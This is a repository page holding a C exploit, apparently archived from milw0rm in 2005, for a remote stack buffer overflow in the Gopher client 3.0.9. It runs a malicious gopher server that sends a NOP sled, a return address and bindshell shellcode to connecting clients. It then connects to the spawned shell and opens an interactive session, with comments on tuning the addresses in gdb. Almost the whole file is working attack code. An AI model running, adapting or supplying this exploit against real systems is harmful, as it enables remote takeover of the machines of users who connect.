Repository navigation
Expand file tree
/
Copy path1187.c
More file actions
executable file
·253 lines (229 loc) · 8.05 KB
/
Copy path1187.c
File metadata and controls
executable file
·253 lines (229 loc) · 8.05 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
/*[ gopher[v3.0.9+]: remote (client) buffer overflow exploit. ]
*
* by: vade79/v9 v9@fakehalo.us (fakehalo/realhalo)
*
* compile:
* gcc xgopher-client.c -o xgopher-client
*
* syntax:
* ./xgopher-client <port> [bindshell port]
*
* The Internet Gopher Client is based on the UMN
* Gopher/Gopherd 2.3.1 code. Gopher is an Internet technology
* that predates the Web. It presents information as a virtual
* network-wide filesystem. Modern browsers such as Konqueror
* can display gopherspace as if it contained files on your
* local machine (trees, drag and drop, etc.), but the
* difference is that each file or folder in that tree may be
* on a different machine.
*
* this client contains a remotely exploitable buffer overflow
* in the processing of "+VIEWS:" information, located in
* SRC/object/VIews.c in the VIfromLine() function.
*
* this is a stack overflow that can be exploited immediately
* upon the client's connection to an untrusted gopher server.
* while this is a stack overflow, exploitation of this
* overflow is not completely standard, and special values
* will be needed for it to work. (see the first three DEFINEs
* below)
*
* i made this simply to be sure it was possible to exploit,
* tested successfully on mandrake/9.2 with gopher/3.0.9
* compiled from source.
***************************************************************/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <strings.h>
#include <signal.h>
#include <unistd.h>
#include <netdb.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <sys/time.h>
#include <netinet/in.h>
#include <arpa/inet.h>
/* THE FOLLOWING THREE DEFINES WILL BE UNIQUE TO EACH SYSTEM. */
/* this needs to be replaced as a null-byte will overwrite it. this */
/* can be found in gdb using a trial-run of the exploit. */
/* (gdb) break VIfromLine */
/* Breakpoint 1 at 0x805c2e5: file VIews.c, line 231. */
/* (gdb) run server-running-this-exploit.com 70 */
/* ... */
/* Breakpoint 1, VIfromLine (vi=0x8074f08, ... */
/* -----------------------------^^^^^^^^^ */
/* ... */
#define REPLACE_VI_ADDR 0x08074f08
/* where the shellcode is located. you can use a trial-run to get */
/* this as well, run "objdump -s <core> | grep 90909090" on the */
/* core file, and choose something in the middle of all the */
/* 0xbfff???? addresses dumped. */
#define RET_ADDR 0xbfffe910
/* guess time; try between 0-12, not likely to be anything */
/* higher than that. */
#define PLACEMENT_OFFSET 7
/* FROM HERE ON THE DEFINES DO NOT NEED TO BE MODIFIED. */
#define BUFSIZE 500
#define DFL_BINDSHELL_PORT 7979
#define TIMEOUT 10
static char x86_exec[]= /* bindshell, from netric. */
"\x31\xc0\x50\x40\x89\xc3\x50\x40\x50\x89\xe1\xb0\x66"
"\xcd\x80\x31\xd2\x52\x66\x68\xff\xff\x43\x66\x53\x89"
"\xe1\x6a\x10\x51\x50\x89\xe1\xb0\x66\xcd\x80\x40\x89"
"\x44\x24\x04\x43\x43\xb0\x66\xcd\x80\x83\xc4\x0c\x52"
"\x52\x43\xb0\x66\xcd\x80\x93\x89\xd1\xb0\x3f\xcd\x80"
"\x41\x80\xf9\x03\x75\xf6\x52\x68\x6e\x2f\x73\x68\x68"
"\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd"
"\x80";
/* prototypes. */
unsigned char *getcode(void);
char *gopherd_bind(unsigned short);
void getshell(char *,unsigned short);
void printe(char *,short);
void sig_alarm(){printe("alarm/timeout hit.",1);}
/* begin. */
int main(int argc,char **argv){
unsigned short port=0,sport=DFL_BINDSHELL_PORT;
char *hostptr;
printf("[*] gopher[v3.0.9+]: remote (client) buffer overflow exp"
"loit.\n[*] by: vade79/v9 v9@fakehalo.us (fakehalo/realhalo)\n\n");
if(argc<2){
printf("[!] syntax: %s <port> [bindshell port]\n",argv[0]);
exit(1);
}
port=atoi(argv[1]);
if(argc>2)sport=atoi(argv[2]);
/* set the port to bind to in the shellcode. */
x86_exec[20]=(sport&0xff00)>>8;
x86_exec[21]=(sport&0x00ff);
/* verbose values display. */
printf("[*] replacement \"vi\" address\t\t: 0x%.8x\n",REPLACE_VI_ADDR);
printf("[*] return address\t\t\t: 0x%.8x\n",RET_ADDR);
printf("[*] offset from the end of tmpstr[]\t: %d (=%d)\n",
PLACEMENT_OFFSET,PLACEMENT_OFFSET*4);
printf("[*] server port\t\t\t\t: %u\n",port);
printf("[*] bindshell port\t\t\t: %u\n\n",sport);
/* wait for a connection and send overflow. */
hostptr=gopherd_bind(port);
/* be safe, and give it time to run. */
sleep(3);
/* see if a shell spawned. */
getshell(hostptr,sport);
exit(0);
}
/* this is what fills the buffer that will be overflown. (tmpstr[256]) */
unsigned char *getcode(void){
unsigned char *buf;
if(!(buf=(unsigned char *)malloc(BUFSIZE+1)))
printe("getcode(): allocating memory failed.",1);
/* make everything nops, and overwrite where needed. */
memset(buf,0x90,BUFSIZE);
/* this gives more NOP/guessing room. if it hits before the addresses, */
/* it will jump over them to get to the shellcode. (jumps 8 bytes) */
buf[254+(PLACEMENT_OFFSET*4)]=0xeb; /* jump, */
buf[255+(PLACEMENT_OFFSET*4)]=0x08; /* 8. */
/* return address. */
*(long *)&buf[256+(PLACEMENT_OFFSET*4)]=RET_ADDR;
/* the replacement value will be right after the new return address. */
/* (this is needed because a null-byte will corrupt it, and fault */
/* where not desired) */
*(long *)&buf[260+(PLACEMENT_OFFSET*4)]=REPLACE_VI_ADDR;
/* add shellcode to the end of the buffer. */
memcpy(buf+BUFSIZE-strlen(x86_exec),x86_exec,strlen(x86_exec));
return(buf);
}
char *gopherd_bind(unsigned short port){
int ssock=0,sock=0,so=1;
unsigned int salen=0;
char pseudobuf[2];
struct sockaddr_in ssa,sa;
ssock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
setsockopt(ssock,SOL_SOCKET,SO_REUSEADDR,(void *)&so,sizeof(so));
#ifdef SO_REUSEPORT
setsockopt(ssock,SOL_SOCKET,SO_REUSEPORT,(void *)&so,sizeof(so));
#endif
ssa.sin_family=AF_INET;
ssa.sin_port=htons(port);
ssa.sin_addr.s_addr=INADDR_ANY;
printf("[*] awaiting connection from: *:%d.\n",port);
if(bind(ssock,(struct sockaddr *)&ssa,sizeof(ssa))==-1)
printe("could not bind socket.",1);
listen(ssock,1);
bzero((char*)&sa,sizeof(struct sockaddr_in));
salen=sizeof(sa);
sock=accept(ssock,(struct sockaddr *)&sa,&salen);
close(ssock);
printf("[*] gopher server connection established.\n");
/* not really needed, but i feel better with it waiting for it. */
printf("[*] waiting for <any> request/data...\n");
read(sock,pseudobuf,1);
printf("[*] received request/data, sending overflow.\n");
/* setup the precursor to cause the overflow. */
write(sock,"+-1\n",4);
write(sock,"+INFO:\t0filler\tfiller\tfiller\tfiller\n",36);
write(sock,"+VIEWS:\t\n ",10);
/* the overflow. */
write(sock,getcode(),BUFSIZE);
write(sock,"\n",1);
sleep(1);
close(sock);
printf("[*] gopher server connection closed.\n");
return(inet_ntoa(sa.sin_addr));
}
void getshell(char *hostname,unsigned short port){
int sock,r;
fd_set fds;
char buf[4096+1];
struct hostent *he;
struct sockaddr_in sa;
printf("[*] checking to see if the exploit was successful.\n");
if((sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==-1)
printe("getshell(): socket() failed.",1);
sa.sin_family=AF_INET;
if((sa.sin_addr.s_addr=inet_addr(hostname))){
if(!(he=gethostbyname(hostname)))
printe("getshell(): couldn't resolve.",1);
memcpy((char *)&sa.sin_addr,(char *)he->h_addr,
sizeof(sa.sin_addr));
}
sa.sin_port=htons(port);
signal(SIGALRM,sig_alarm);
alarm(TIMEOUT);
printf("[*] attempting to connect: %s:%d.\n",hostname,port);
if(connect(sock,(struct sockaddr *)&sa,sizeof(sa))){
printf("[!] connection failed: %s:%d.\n",hostname,port);
return;
}
alarm(0);
printf("[*] successfully connected: %s:%d.\n\n",hostname,port);
signal(SIGINT,SIG_IGN);
write(sock,"uname -a;id\n",13);
while(1){
FD_ZERO(&fds);
FD_SET(0,&fds);
FD_SET(sock,&fds);
if(select(sock+1,&fds,0,0,0)<1)
printe("getshell(): select() failed.",1);
if(FD_ISSET(0,&fds)){
if((r=read(0,buf,4096))<1)
printe("getshell(): read() failed.",1);
if(write(sock,buf,r)!=r)
printe("getshell(): write() failed.",1);
}
if(FD_ISSET(sock,&fds)){
if((r=read(sock,buf,4096))<1)
exit(0);
write(1,buf,r);
}
}
close(sock);
return;
}
void printe(char *err,short e){
printf("[!] %s\n",err);
if(e)
exit(1);
return;
}
// milw0rm.com [2005-08-30]